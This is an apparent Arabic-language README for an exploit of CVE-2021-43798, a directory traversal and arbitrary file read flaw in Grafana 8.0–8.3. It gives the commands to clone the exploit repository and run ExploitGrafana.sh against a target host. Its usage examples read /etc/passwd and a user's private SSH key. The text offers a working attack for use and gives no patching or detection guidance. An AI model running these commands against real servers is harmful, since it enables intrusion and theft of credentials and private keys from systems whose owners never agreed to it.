
اجتياز الدليل وقراءة الملفات التعسفية في جرافانا
اجتياز الدليل وقراءة الملفات التعسفية على Grafana
المؤلفون:
Wagner Alves - محلل فريق أحمر
يستغل هذا الثغرة ثغرات اجتياز الدليل وقراءة الملفات التعسفية في Grafana 8.0 - 8.3، مما يسمح بقراءة ملفات مثل /etc/passwd و /etc/hosts و /home/user/.ssh/id_rsa و /etc/os-release وملفات أخرى مثيرة للاهتمام.
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa